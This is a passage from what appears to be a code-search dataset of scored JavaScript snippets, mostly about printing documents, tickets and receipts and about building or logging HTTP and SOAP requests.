'NO_DELAY_PLEASE');\n }\n }\n\n\n\n }\n\n m++;\n }\n }\n\n function printRelayedKOT(relayedList, optionalRequest) {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var g = 0;\n var allPrintersList = [];\n\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') { //filter only KOT Printers\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n allPrintersList.push({\n \"name\": allConfiguredPrintersList[g].list[a].name,\n \"target\": allConfiguredPrintersList[g].list[a].target,\n \"template\": allConfiguredPrintersList[g].list[a]\n });\n }\n\n //Start relay after some significant delay. \n //Printing of relay skipped items might not be completed yet...\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n\n break;\n }\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n }\n\n g++;\n }\n\n\n\n function startRelayPrinting(index) {\n\n console.log('Relay Print - Round ' + index + ' on ' + allPrintersList[index].name);\n\n var relayedItems = [];\n for (var i = 0; i < relayedList.length; i++) {\n if (relayedList[i].subcart.length > 0 && relayedList[i].printer == allPrintersList[index].name) {\n relayedItems = relayedItems.concat(relayedList[i].subcart)\n }\n\n if (i == relayedList.length - 1) { //last iteration\n if (relayedItems.length > 0) {\n var relayedNewObj = obj;\n relayedNewObj.cart = relayedItems;\n\n sendToPrinter(relayedNewObj, 'CANCELLED_KOT', allPrintersList[index].template);\n\n if (allPrintersList[index + 1]) {\n //go to next after some delay\n setTimeout(function() {\n startRelayPrinting(index + 1);\n }, 3000);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n } else {\n //There are no items to relay. Go to next.\n if (allPrintersList[index + 1]) {\n startRelayPrinting(index + 1);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n }\n }\n }\n }\n\n }\n } else { //no relay (normal case)\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendToPrinter(obj, 'CANCELLED_KOT');\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n } else {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n sendToPrinter(obj, 'CANCELLED_KOT', selected_printer);\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n sendToPrinter(obj, 'CANCELLED_KOT');\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000);\n }\n }\n\n g++;\n }\n }\n\n } \n}", "title": "" }, { "docid": "ffd0c9bc187fb780e7d03e6d5f97e317", "score": "0.4703543", "text": "newRequest(input, init) {\n return new Request(input, init);\n }", "title": "" }, { "docid": "bd552e4bace89fe36c02a8528c73a6eb", "score": "0.47023007", "text": "function printSpecial()\n{\n\tif (document.getElementById != null)\n\t{\n\t\tvar html = '<HTML>\\n<HEAD>\\n';\n\n\t\tif (document.getElementsByTagName != null)\n\t\t{\n\t\t\tvar headTags = document.getElementsByTagName(\"head\");\n\t\t\tif (headTags.length > 0)\n\t\t\t\thtml += headTags[0].innerHTML;\n\t\t}\n\t\t\n\t\thtml += '\\n</HE' + 'AD>\\n<BODY>\\n';\n\t\t\n\t\tvar printReadyElem = document.getElementById(\"printReady\");\n\t\t\n\t\tif (printReadyElem != null)\n\t\t{\n\t\t\t\thtml += printReadyElem.innerHTML;\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Could not find the printReady section in the HTML\");\n\t\t\treturn;\n\t\t}\n\t\t\t\n\t\thtml += '\\n</BO' + 'DY>\\n</HT' + 'ML>';\n\t\t\n\t\tvar printWin = window.open(\"\",\"printSpecial\");\n\t\tprintWin.document.open();\n\t\tprintWin.document.write(html);\n\t\tprintWin.document.close();\n\t\tif (gAutoPrint)\n\t\t\tprintWin.print();\n\t}\n\telse\n\t{\n\t\talert(\"Sorry, the print ready feature is only available in modern browsers.\");\n\t}\n}", "title": "" }, { "docid": "9c196c3e21fcb047bff92aad14c991eb", "score": "0.46794277", "text": "function generateSpecialTransactionRequest(argument) {\n \n}", "title": "" }, { "docid": "8eb029dfbfd9c343938b26b97756b328", "score": "0.46656704", "text": "__generateElementRequest(){\n\t\tthis.$.basicViews.generateGoogleRequest();\n\t\tthis.$.linechart.generateLinechartRequest();\n\t\tthis.$.wordcloud.generateWordcloudRequest();\n\t\tthis.$.gender.generateGenderRequest();\n\t\tthis.$.age.generateAgeRequest();\n\t\tthis.$.emo.generateEmoRequest();\n\t\tthis.$.piechart.generatePieRequest();\n\t\tthis.$.googleMap.generateMapRequest();\n\t}", "title": "" }, { "docid": "49b39867daf1577cad82a60fe92478be", "score": "0.46590242", "text": "function printDoc(){\n var toPrint = docToPrint.splice(0,lim);\n mod = 130;\n if (toPrint.length > 0){\n $.ajax({\n url:'services/xPrint.php',\n data: {action:'print',params:toPrint,model:mod},\n dataType: 'json',\n success:showPrinted,\n error:serviceError,\n type:'POST'\n });\n }\n else{\n $('<div class=\"full-page\" style=\"text-align:center;\">Operazione Terminata</div>').dialog({'title':'Messaggio','modal':true,width:500});\n }\n}", "title": "" }, { "docid": "41db9c7a3c0bdac71ade02ad2678a508", "score": "0.46414244", "text": "function print_courseRegister() {\n var rangeNameToPrint = 'print_area_courseRegister'\n\n var spreadsheet = SpreadsheetApp.getActiveSpreadsheet()\n var myNamedRanges = listNamedRangesA1(spreadsheet)\n if (myNamedRanges[rangeNameToPrint] === 'undefined') {\n showToast(\"No print area found. Please define one 'print_area_????' named range using Data > Named ranges.\", 30)\n return\n }\n var selectedRange = spreadsheet.getRangeByName(myNamedRanges[rangeNameToPrint])\n var sheetToExport = selectedRange.getSheet()\n var memberName = sheetToExport.getRange('K4').getDisplayValue()\n var fileName = memberName + ' - Enrolment Information.pdf'\n\n var pdfFile = makePDFfromRange(selectedRange, fileName, 'Enrolment Information')\n\n var recipient = sheetToExport.getRange('K2').getDisplayValue()\n var subject = sheetToExport.getRange('K3').getDisplayValue()\n var body =\n sheetToExport.getRange('B3').getDisplayValue() +\n '\\n\\nYour registration details for this term are listed on the attached PDF.\\n\\nPlease let us know if there are any changes required.\\n\\n\\nU3A Team'\n\n var resp = GmailApp.createDraft(recipient, subject, body, {\n attachments: [pdfFile.getAs(MimeType.PDF)],\n name: 'Bermagui U3A',\n })\n\n return\n}", "title": "" }, { "docid": "dbfca267606d45b52a94c56e35683a95", "score": "0.46363714", "text": "function openPrintWindow() {\n\tif( document.fmFilter.cmbFilterProjekt )\n\t\tnProjektId = document.fmFilter.cmbFilterProjekt.options[document.fmFilter.cmbFilterProjekt.selectedIndex].value;\n\telse\n\t\tnProjektId=\"\";\n\tif( nProjektId==\"\" )\n\t\tnProjektId=-1;\n\t\n\tif( document.fmFilter.cmbFilterDatum )\n\t\tsDatum = document.fmFilter.cmbFilterDatum.options[document.fmFilter.cmbFilterDatum.selectedIndex].value;\n\telse\n\t\tsDatum=\"\";\n\tif( sDatum==\"\" )\n\t\tsDatum=-1;\n\t\n\tif( document.fmFilter.cmbFilterMa )\n\t\tnMaiId = document.fmFilter.cmbFilterMa.options[document.fmFilter.cmbFilterMa.selectedIndex].value;\n\telse\n\t\tnMaiId=\"\";\n\tif( nMaiId==\"\" )\n\t\tnMaiId=-1;\n\t\t\n\tif( document.fmFilter.cmbFilterSchritt )\n\t\tnSchrittId = document.fmFilter.cmbFilterSchritt.options[document.fmFilter.cmbFilterSchritt.selectedIndex].value;\n\telse\n\t\tnSchrittId=\"\";\n\tif( nSchrittId==\"\" )\n\t\tnSchrittId=-1;\n\t\n\twPrint = window.open( \"../auswertung/printView.phtml?urlProjektId=\" + nProjektId + \"&urlDatum=\" + sDatum + \"&urlMaId=\" + nMaiId + \"&urlSchrittId=\" + nSchrittId,\n\t\t\t\t\t\t \"wPrint\",\t\t\t\n\t\t\t\t\t\t \"toolbar=yes,location=no,directories=no,status=no,menubar=yes,scrollbars=yes,width=600,height=600,resizable=yes\");\n\tif( window.focus )\n\t\twPrint.focus();\n}", "title": "" }, { "docid": "e541a33a0cb0a079aaf27a4c29a83946", "score": "0.46342883", "text": "function request() { return { type: physicalExaminationSaveConstants.PATIENT_PHYSICAL_EXAMINATION_DATA_REQUEST } }", "title": "" }, { "docid": "62c7de42b780501f075f15a74c00833c", "score": "0.46285045", "text": "function ReportListRequest() {\r\n\t\tthis.nrlConfigObj = null;\r\n\t}", "title": "" }, { "docid": "3ffb9d342f85e889e9c828e3c61939b7", "score": "0.46073225", "text": "function printResponse(input){\n var body = document.querySelector('body')\n var outputPara = document.createElement('p')\n outputPara.textContent = input\n body.append(outputPara)\n var box = document.getElementById('box')\n box.style.visibility = 'hidden'\n }", "title": "" }, { "docid": "e6e980bd72910b1172aa3fd2ce2a2857", "score": "0.46045315", "text": "function printRequest(req: RestRequest, options: Options, inColor: boolean) {\n // Slug.\n console.log(chalk.white(req.getSlug()));\n\n // Headers.\n if (options.headers) {\n printHeaders(req.headers);\n console.log(\"\");\n }\n\n // Body.\n if (options.body) {\n const body = req.filePath ?? bodyFormat(req);\n if (body) {\n if (inColor) {\n console.log(highlight(body, { ignoreIllegals: true }));\n }\n else {\n console.log(body);\n }\n console.log(\"\")\n }\n }\n}", "title": "" }, { "docid": "8a6bf5d65553c77c5819cf0ab044f7b5", "score": "0.46018034", "text": "async function createResponseTransaction(type, device_id, panel_id, cycle, power)\n{\n const dateTime = moment().utc().format('DD/MM/YYYY hh:mm:ss');\n\n //send transaction\n var json =\n {\n \"type\": type,\n \"timestamp\": dateTime,\n \"device_id\": device_id,\n \"panel_id\": panel_id,\n \"power\": power,\n \"request_id\": cycle\n };\n const root = await publish(json);\n console.log(json);\n}", "title": "" }, { "docid": "27dad091e097f701860d205a19b2cedb", "score": "0.46006876", "text": "function print(node,options){return new printer_1.Printer(options).print(node);}", "title": "" }, { "docid": "29cd959522be158b0ae62c0335303de7", "score": "0.45828423", "text": "function createFunctionPrinter(input) {\n\tfunction print(){\n console.log(input)\n }\n return print;\n}", "title": "" }, { "docid": "012a9ba19c6f9ab2e6f1a66e378927c8", "score": "0.45809728", "text": "* create() {\n\t\t\tconst { ctx, service } = this;\n\t\t\tctx.validate(createRule);\n\t\t\tconst { name, address, telphone } = ctx.request.body;\n\t\t\tconst id = yield service.warehouse.create({ name, address, telphone });\n\t\t\tthis.ctx.body = new Transfer(200, { id });\n\t\t}", "title": "" }, { "docid": "bed998adaeda8c844721c52c86e46ab3", "score": "0.45787725", "text": "function printReport() {\n window.print();\n}", "title": "" }, { "docid": "2a2754692065c083ee51b72a76b6b607", "score": "0.45770085", "text": "function makeRequest() {\n // span corresponds to outgoing requests. Here, we have manually created\n // the span, which is created to track work that happens outside of the\n // request lifecycle entirely.\n const span = tracer.startSpan('makeRequest');\n api.context.with(api.trace.setSpan(api.context.active(), span), () => {\n https.get({\n host: 'localhost',\n port: 8443,\n path: '/helloworld',\n }, (response) => {\n const body = [];\n response.on('data', (chunk) => body.push(chunk));\n response.on('end', () => {\n console.log(body.toString());\n span.end();\n });\n });\n });\n\n // The process must live for at least the interval past any traces that\n // must be exported, or some risk being lost if they are recorded after the\n // last export.\n console.log('Sleeping 5 seconds before shutdown to ensure all records are flushed.');\n setTimeout(() => { console.log('Completed.'); }, 5000);\n}", "title": "" }, { "docid": "d35898683922cdecf86f6bd84272655c", "score": "0.45719522", "text": "function printOrder(orderId = null) {\n if (orderId) {\n\n $.ajax({\n url: 'php_action/printOrder.php',\n type: 'post',\n data: { orderId: orderId },\n dataType: 'text',\n success: function(response) {\n\n var mywindow = window.open('', 'LAV', 'height=1000,width=900');\n mywindow.document.write('<html><head><title>OK</title>');\n mywindow.document.write('</head><body>');\n mywindow.document.write(response);\n mywindow.document.write('</body></html>');\n\n mywindow.document.close(); // necessary for IE >= 10\n mywindow.focus(); // necessary for IE >= 10\n\n mywindow.print();\n mywindow.close();\n\n } // /success function\n }); // /ajax function to fetch the printable order\n } // /if orderId\n} // /print order function", "title": "" }, { "docid": "553f12989aed77efc18075b5455b4a20", "score": "0.4570371", "text": "function generatePrintPreview(){\n\t\t$('#printPageHeader h1').text(exportData.arrangement[0].title);\n\t\t$('#objectivePrintArea').val(exportData.arrangement[0].objective);\n\t\t\n\t\tvar modules = exportData.arrangement[1].modules;\n\t\tvar printPreview = \"\";\n\t\t\n\t\t// lets create the columns\n\t\tfor(var i=0; i < modules.length; i++){\t\n\t\t\tprintPreview += '<div class=\"printPreview\"><div class=\"printContent\">';\n\t\t\tprintPreview += '<h2>' + modules[i].module_title + '</h2>'\n\t\t\tprintPreview += '<h3>' + modules[i].module_annotations + '</h3>';\n\t\t\tprintPreview += '<ol>';\n\n\t\t\t// cards\n\t\t\tfor(var j=0; j<modules[i].cards.length; j++){\n\t\t\t\tvar myIndex = (modules[i].cards[j].card_id)-1;\n\t\t\n\t\t\t\tprintPreview += '<li>';\n\t\t\t\tprintPreview += '<h4>' + cards[myIndex].title + '</h4>';\n\t\t\t\tprintPreview += '<ul>';\n\t\t\t\t\n\t\t\t\t// questions\n\t\t\t\tfor(var h=0; h<modules[i].cards[j].checkitems.length; h++){\n\t\t\t\t\tprintPreview += '<li>';\n\t\t\t\t\tprintPreview += modules[i].cards[j].checkitems[h].item;\n\t\t\t\t\tprintPreview += '</li>';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprintPreview += '</ul>';\n\t\t\t\tprintPreview += '</li>';\n\t\t\t}\n\t\t\t\n\t\t\tprintPreview += '</ol>';\n\t\t\tprintPreview += \"</div></div>\"\n\t\t};\n\t\n\t\t$('.printPreview').remove();\n\t\t$('#printList').append(printPreview);\n\t\t//console.log(printPreview);\n\t}", "title": "" }, { "docid": "1860c34bc6965d4a7467c40996eb256c", "score": "0.45687586", "text": "function crewReports(object){\n console.log(`${object.name} is a ${object.species}. They are ${object.age} years old and ${object.mass} kilograms. Their ID is ${object.astronautID}.`)\n}", "title": "" }, { "docid": "88080542d02d51888c573567cb982fba", "score": "0.45601144", "text": "function createFunctionPrinter(input) {\n function printer(){\n console.log(input);\n }\n return printer;\n }", "title": "" }, { "docid": "6a0d92f903de237f2731b54ac96ee87e", "score": "0.45582414", "text": "function printTicket() {\n PrintButton = \"\";\n document.getElementById(\"printknop\").innerHTML = PrintButton;\n window.print();\n}", "title": "" }, { "docid": "cad1cfd03f4d05eb2eb80a3eae02e3f5", "score": "0.4557346", "text": "async function printRequest(req, res, next) {\n console.log(\"Request created at : \" + new Date());\n console.log(\"Request URL :\" + req.originalUrl);\n console.log(\"Request TYPE :\" + req.method);\n console.log(\"Request Body :\" + JSON.stringify(req.body));\n return next();\n}", "title": "" }, { "docid": "39056fa87ac0c3d5642958ecdd12a457", "score": "0.454912", "text": "function receipt(name){\nconsole.log(`${name}: \n\t\t\t\t\tMeal Cost: $${meal}\n\t\t\t\t\tDrink Cost: $${drink}\n\t\t\t\t\tTip: ${tip}%\n\t\t\t\t\tTax: $${salestax}\n\t\t\t\t\tTotal: ${cost()} `)\n}", "title": "" }, { "docid": "35be494bab6de37af95ec5bd7b4a1d14", "score": "0.45448506", "text": "function constructRequestUrl() {\n\treturn API_BASE_URL + 'response.' + FORMAT;\n}", "title": "" }, { "docid": "08ca5696239b826043365fdadf5d89a6", "score": "0.45382085", "text": "function print(printType, tpl) {\n var printerIndex = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : -1;\n\n if (printType != 'print' && printType != 'preview') {\n return;\n }\n var items = tpl.items;\n var tplName = tpl.tpl_name,\n pageWidth = tpl.page_width,\n pageHeight = tpl.page_height,\n paddingTop = tpl.padding_top,\n paddingLeft = tpl.padding_left,\n pageName = tpl.company_name,\n imgUrl = tpl.background_img;\n\n var img = \"<img border='0' src='\" + imgUrl + \"'/>\";\n LODOP.PRINT_INITA(paddingTop + 'mm', paddingLeft + 'mm', pageWidth + 'mm', pageHeight + 'mm', tplName);\n LODOP.SET_PRINT_PAGESIZE(1, pageWidth + 'mm', pageHeight + 'mm', pageName);\n LODOP.ADD_PRINT_SETUP_BKIMG(img);\n LODOP.SET_SHOW_MODE('BKIMG_LEFT', 0);\n LODOP.SET_SHOW_MODE('BKIMG_TOP', 0);\n LODOP.SET_SHOW_MODE('BKIMG_WIDTH', pageWidth + 'mm');\n //LODOP.SET_SHOW_MODE(\"BKIMG_HEIGHT\",pageHeight+'mm'); //这句可不加,因宽高比例固定按原图的\n LODOP.SET_SHOW_MODE('BKIMG_IN_PREVIEW', 1);\n for (var i = 0; i < items.length; i++) {\n var item = items[i];\n if (item.status == 'N') {\n continue;\n }\n var className = item.item_name;\n var weight = item.font_weight;\n if (weight == 'bold') {\n weight = 700;\n }\n LODOP.ADD_PRINT_TEXTA(className, item.margin_top, item.margin_left, item.width, item.height, item.content);\n LODOP.SET_PRINT_STYLEA(className, \"FontName\", item.font_family);\n LODOP.SET_PRINT_STYLEA(className, \"FontSize\", item.font_size);\n LODOP.SET_PRINT_STYLEA(className, \"Bold\", weight);\n };\n\n LODOP.SET_PRINTER_INDEXA(printerIndex);\n if (printType == 'preview') {\n LODOP.PREVIEW();\n } else {\n LODOP.PRINT();\n }\n}", "title": "" }, { "docid": "9a281d7fe3826d44b4f35710733374f2", "score": "0.4525341", "text": "function requestPayload(origin, destination, weight) {\n var payload =\n '<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:myr=\"http://myRate.ws.odfl.com/\">';\n payload += \" <soapenv:Header/>\";\n payload += \" <soapenv:Body>\";\n payload += \" <myr:getLTLRateEstimate>\";\n payload += \" <!--Optional:-->\";\n payload += \" <arg0>\";\n payload +=\n \" \t\t <destinationCountry>\" +\n destination.countryCode +\n \"</destinationCountry> \";\n payload +=\n \" \t\t <destinationPostalCode>\" +\n destination.zip +\n \"</destinationPostalCode>\";\n payload +=\n \" \t\t <destinationCity>\" +\n destination.city +\n \"</destinationCity> \";\n payload +=\n \" <destinationState>\" +\n destination.state +\n \"</destinationState> \";\n payload += \"\t\t <freightItems> \t\t\t\";\n payload += \" \t\t\t<ratedClass>200</ratedClass> \";\n payload += \" \t\t\t<weight>\" + weight + \"</weight> \";\n payload += \" \t\t </freightItems> \t\t \";\n payload += \" \t\t <odfl4MePassword>\" + PASSWORD + \"</odfl4MePassword> \";\n payload += \" <odfl4MeUser>\" + USERNAME + \"</odfl4MeUser>\";\n payload +=\n \" <odflCustomerAccount>\" +\n CUS_ACCOUNT +\n \"</odflCustomerAccount> \t\";\n payload += \" \t\t <originCountry>\" + origin.countryCode + \"</originCountry> \";\n payload +=\n \" \t <originPostalCode>\" + origin.zip + \"</originPostalCode>\";\n payload +=\n \" \t <originCity>\" + origin.city + \"</originCity> \";\n payload +=\n \" <originState>\" +\n origin.state +\n \"</originState> \";\n payload += \" \t\t <requestReferenceNumber>false</requestReferenceNumber> \t\t \";\n payload += \" </arg0>\";\n payload += \" </myr:getLTLRateEstimate>\";\n payload += \" </soapenv:Body>\";\n payload += \"</soapenv:Envelope>\";\n\n return payload;\n }", "title": "" }, { "docid": "45b4514dba61dcbda1c86fbf66fc9aaa", "score": "0.45200688", "text": "function _getVoucherToPrint(dmc, product, booking, callback) {\n\n var fetch_url = '/voucher-to-print';\n\n var postdata = {\n dmc: dmc,\n product: product,\n booking: booking\n }\n\n http_service.http_request(fetch_url, 'POST', null, postdata).then(\n function (data) {\n callback(data);\n },\n function (err) {\n //alert(\"error\");\n console.log(err);\n });\n }", "title": "" }, { "docid": "d247ebccf644462e9b2c11d8c7dfbe4f", "score": "0.45197147", "text": "function findPrintAllowStatus(data) {\n var printStatusShipment = {\n \"shipStatus\": true,\n };\n var shipments = data.Shipments;\n //checking status for shipment allow\n for (var i = 0; i < shipments.length; i++) {\n if (shipments[i].carrierSettings.ceAllowConnotePrint == false) {\n printStatusShipment['shipStatus'] = false;\n break;\n }\n }\n return printStatusShipment;\n}", "title": "" }, { "docid": "9082b49b2104189d9e4091935916874e", "score": "0.4506405", "text": "function buildwarship() {\n if (buildWarshipBtn.isClicked(mouseX, mouseY)) {\n if (people > shipscosts[0].Input_Crew && ore > shipscosts[0].Input_Ore) {\n let inputcrew = shipscosts[0].Input_Crew;\n let inputore = shipscosts[0].Input_Ore;\n ore = ore - inputore;\n people = people - inputcrew;\n let dataSend = {\n Player_Id: playerId,\n Ore: ore,\n People: people,\n };\n httpPost(\"/buildwarship\", \"json\", dataSend, (dataReceived) => {\n console.log(dataReceived.message);\n });\n\n let message = {\n message: `Commander, You have build a ship`,\n };\n messages.push(message);\n\n soundMessageReceived.play();\n drawMessages();\n } else {\n soundError.play();\n alert(\"You dont have the resources to build this ship\");\n }\n }\n}", "title": "" }, { "docid": "4a33488b971f98b516f9255fd9745327", "score": "0.45022368", "text": "formatRequest() {\n var len = this.rawTargetInformation.length;\n for (var i = 0; i < len; ++i) {\n var info = this.rawTargetInformation[i];\n this.formattedTargetInformation.push({\n urlID: info.UrlId,\n url: info.Link,\n method: info.RequestType,\n numSuccess: info.NumSuccess,\n numFail: info.NumFailure,\n requestheader: info.RequestHeader,\n requestbody: info.RequestBody\n });\n }\n }", "title": "" }, { "docid": "7540d14856186851572ccac78ec96626", "score": "0.44861525", "text": "getWaterData() {\n // generate random integer values for salinity, oxygen concentration, and density within specified range\n var salinity = (Math.random() * (1.031 - 1.017) + 1.017).toFixed(4);\n var oxygen = Math.round((Math.random() * (9 - 4) + 4));\n var density = (Math.random() * (1.0273 - 1.0240) + 1.0240).toFixed(4);\n\n // create a string with the random data\n this.waterString = `Seawater Sample\\n\\nSalinity: ${salinity} sg\\nOxygen Concentration: ${oxygen} mg/L\\nDensity: ${density} g/cm\\u00B3`;\n\n // return generated string\n return this.waterString;\n }", "title": "" }, { "docid": "2baaf817bc75d6c9ce273c1be1ac5b9d", "score": "0.44805443", "text": "function printRequest(response) {\n\tconsole.group(\n\t\t`%c[${response.config.method.toUpperCase()}] ` +\n\t\t\tresponse.config.url.substring(response.config.baseURL.length),\n\t\t'color: #f1c40f; background-color: black'\n\t);\n\tconsole.log('Response: ', response);\n\tconsole.log(\n\t\t'Enviado: ',\n\t\tJSON.parse(response.config.data) || response.config.params\n\t);\n\tconsole.log(\n\t\t'Recebido: ',\n\t\tresponse ? response.data : 'Erro de conexão. Sem contato com servidor'\n\t);\n\tconsole.groupEnd();\n}", "title": "" }, { "docid": "6ff37e7751dbb23821896fc57004f997", "score": "0.4473255", "text": "function WS_print(theURL,winName,features) \n\t\t{ \n\t\t// alert(theURL+'.........'+winName+'....'+features);\n\t\t\n \t\t\t window.moveTo(0,0); \n\t\t\t \n\t\t\t var window_attributes=(features)?features:'width=700,height=842,scrollbars=yes,left=0,top=0';\n\t\t\t \n\t\t\t window.open(theURL,winName,'width=700,height=842,scrollbars=yes,menubar=yes');\n \t\t}", "title": "" }, { "docid": "d3f1934224430f350cd3a9d754a7b96c", "score": "0.44717395", "text": "getReqParams_Name(name, page, pageSize) {\n let params = {};\n if (name) {\n params[\"np_name\"] = name;\n }\n if (page) {\n params[\"page\"] = page - 1;\n }\n if (pageSize) {\n params[\"size\"] = pageSize;\n }\n return params;\n }", "title": "" }, { "docid": "2bffd48e4bab3cb7ef99f9afbaa40dc9", "score": "0.44675642", "text": "print(){\n console.log(\"Name: \" + this.name);\n console.log(\"Username: \" + this.username);\n console.log(\"Email: \" + this.email);\n console.log(\"Password: \" + this.password);\n }", "title": "" }, { "docid": "abac8850bf23f60f9a49c3caa7e1ea31", "score": "0.44664136", "text": "function buildPricingRequest(line) {\n //build array of pricing objects\n\n var pricing = [];\n \n for (var current in line) {\n if (line.hasOwnProperty(current)) {\n switch (current.toUpperCase()) {\n //skip this options\n case \"PRODUCT_ORIGINAL_NAME\":\n case \"LINEITEMID\":\n case \"LINEITEMGUID\": \n case \"RELEASE_NUMBER\": \n case \"IN_ERROR\": \n case \"NO_PRICING\": \n case \"ERROR_MESSAGE\": \n case \"COMMENTS\": \n case \"BRAND_NAME\": \n case \"PRODUCT_NAME\":\n case \"BRAND_GUID\": \n case \"PRODUCT_GUID\":\n case \"IS_RELEASED\": \n case \"QUANTITY\":\n case \"QTY\":\n case \"TAG\":\n break;\n default:\n //only look at option columns\n if (!current.endsWith(\"UOM\") && !current.endsWith(\"ISQE\") && !current.endsWith(\"VALUETEXT\") && current.indexOf(\"_\") == -1) {\n var record = optionMap[current];\n if (typeof record !== \"undefined\") {\n pricing.push(getPricingEntry(product, line, current, record));\n }\n }\n break;\n }\n }\n }\n var result = buildInputXml(job, product, line, pricing);\n return result; \n}", "title": "" }, { "docid": "0a42db99feef75983575aaa863144ed9", "score": "0.4461168", "text": "function placeCustomOrderRequest(crust, sauce, cheese , vegTop , nonvegTop, \n size, sides, dispatchOption , customerName ){\n\n // place the order in spreadsheet and get the price\n \n return {\n \n price: \"twenty five dollars\" //alexaDateUtil.getFormattedTime(new Date(firstHighTide.t))\n }\n\n\n}", "title": "" }, { "docid": "ff91ef2e4525d22995b29fd0a7fc3635", "score": "0.4446603", "text": "print() {\n console.log(\"customer shares information :\");\n console.log(this.customerDataJson);\n console.log(\"company shares information :\");\n console.log(this.companyDataJson);\n }", "title": "" }, { "docid": "07d28550c3496d8c2cf267479c61a29c", "score": "0.442926", "text": "function PrintService($http,$q,API_CONFIG) {\n var vm = this;\n\n vm.baseUrl = API_CONFIG.baseUrl;\n\n vm.outletMapVisibitly = false;\n\n /** set the map visibility to true or false */\n vm.assignOutletMapVisibility = function(flag){\n vm.outletMapVisibitly = flag;\n };\n\n /** get outlet map visibility */\n vm.getOutletMapVisibility = function(){\n return vm.outletMapVisibitly;\n };\n\n vm.outletData = [];\n /** set the outlet data */\n vm.setOutletData = function(data){\n //console.log('setting ',vm.outletData);\n vm.outletData = data;\n };\n\n vm.headerTitle = '';\n vm.setHeaderTitle = function(title){\n //console.log('setting ',vm.outletData);\n vm.headerTitle = title;\n console.log(\"the header title is \",vm.headerTitle);\n //console.log(\"the header title is\",vm.headerTitle);\n };\n\n vm.returnHeaderTitle = function(){\n return vm.headerTitle;\n };\n\n vm.resetHeaderTitle = function(){\n vm.headerTitle = '';\n };\n\n\n /** getter for outlet data */\n vm.getOutletData = function(){\n console.log(\"returning outlet data \",vm.outletData);\n return vm.outletData;\n };\n\n\n }", "title": "" }, { "docid": "9c92bdea7063a95377102c64e3847a12", "score": "0.44266573", "text": "print(zpl) {\n return this.write(zpl)\n }", "title": "" }, { "docid": "c3fc51a5d2a7382cda91e21611c178ff", "score": "0.4418939", "text": "function CreateCustomer(name, age, city) {\n console.log('Creating Customer : ', name);\n if (age) {\n console.log('Age : ', age);\n }\n if (city) {\n console.log('City :', city);\n }\n}", "title": "" }, { "docid": "de6a01e93e13d9fa5217c829bab927f1", "score": "0.4417071", "text": "function request() { return { type: doctorSpecialisationConstants.DR_SPL_ADD_REQUEST } }", "title": "" }, { "docid": "d4b873cec5c89291501577f33571d84b", "score": "0.44158414", "text": "function send_contribution_and_print_receipt_request() {\r\n var contributionType = document.getElementById('listContributionType').value;\r\n var jumuiyaName = document.getElementById('listJumuiya').value;\r\n var massName = document.getElementById('listMass').value;\r\n var fiftyCoins = document.getElementById('insertFiftyCoinCountField').value;\r\n var hundredCoins = document.getElementById('insertHundredCoinCountField').value;\r\n var twoHundredCoins = document.getElementById('insertTwoHundredCoinCountField').value;\r\n var fiveHundredCoins = document.getElementById('insertFiveHundredCoinCountField').value;\r\n var oneThousands = document.getElementById('insertOneThousandCountField').value;\r\n var twoThousands = document.getElementById('insertTwoThousandCountField').value;\r\n var fiveThousands = document.getElementById('insertFiveThousandCountField').value;\r\n var tenThousands = document.getElementById('insertTenThousandCountField').value;\r\n var total = document.getElementById('insertTotalCashCountField').value;\r\n var description = document.getElementById('insertContributionDescriptionField').value;\r\n\r\n document.getElementById('receiptCardContributionType').value = contributionType;\r\n document.getElementById('receiptCardAmount').value = total;\r\n if (description === \"\") {\r\n document.getElementById('receiptCardDescription').value = \"-\";\r\n description = contributionType;\r\n }\r\n else {\r\n document.getElementById('receiptCardDescription').value = description;\r\n }\r\n document.getElementById('receiptCardUserId').value = loggedinUserUId;\r\n\r\n if (jumuiyaName === \"INDIVIDUAL\") {\r\n document.getElementById('receiptCardFullName').required = true;\r\n }\r\n else {\r\n document.getElementById('receiptCardJumuiyaName').value = receiptJumuiyaName;\r\n document.getElementById(\"receiptCardJumuiyaNameDiv\").style.display = \"none\";\r\n }\r\n\r\n\r\n\r\n\r\n\r\n if (fiftyCoins === \"\") 